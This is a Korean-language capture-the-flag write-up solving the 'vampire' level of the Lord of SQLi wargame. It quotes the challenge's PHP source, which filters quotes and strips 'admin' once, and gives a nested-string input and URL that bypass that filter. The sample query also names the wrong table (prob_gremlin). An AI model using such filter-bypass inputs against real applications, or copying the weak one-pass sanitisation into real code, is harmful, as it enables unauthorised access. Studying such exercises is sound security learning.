[LOS] vampire 풀이
PHP & query
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>
select id from prob_vampire where id=''
문제 풀이
더보기
solve 조건
if($result['id'] == 'admin') solve("vampire");
id값이 admin 이면 solve("vampire")를 반환한다.
특수문자 제약
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
싱글쿼터(')를 필터링 하고 대문자 우회를 못 하게만들었다. admin을 ""으로 대체한다.
admin이 사라졌을때 admin으로 나오게만든다.
adminaadmindadminmadminiadminn 초록색 부분이 필터링되고 admin이 된다.
sqlInjection 쿼리
select id from prob_gremlin where id='adminaadmindadminmadminiadminn'
URL
los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adminaadmindadminmadminiadminn
'CTF > LOS' 카테고리의 다른 글
[LOS] golem 풀이 - 11번 (0) | 2020.09.16 |
---|---|
[LOS] skeleton 풀이 - 10번 (0) | 2020.09.15 |
[LOS] troll 풀이 - 8번 (0) | 2020.09.15 |
[LOS] orge 풀이 - 7번 (0) | 2020.09.15 |
[LOS] darkelf 풀이 - 6번 (0) | 2020.09.15 |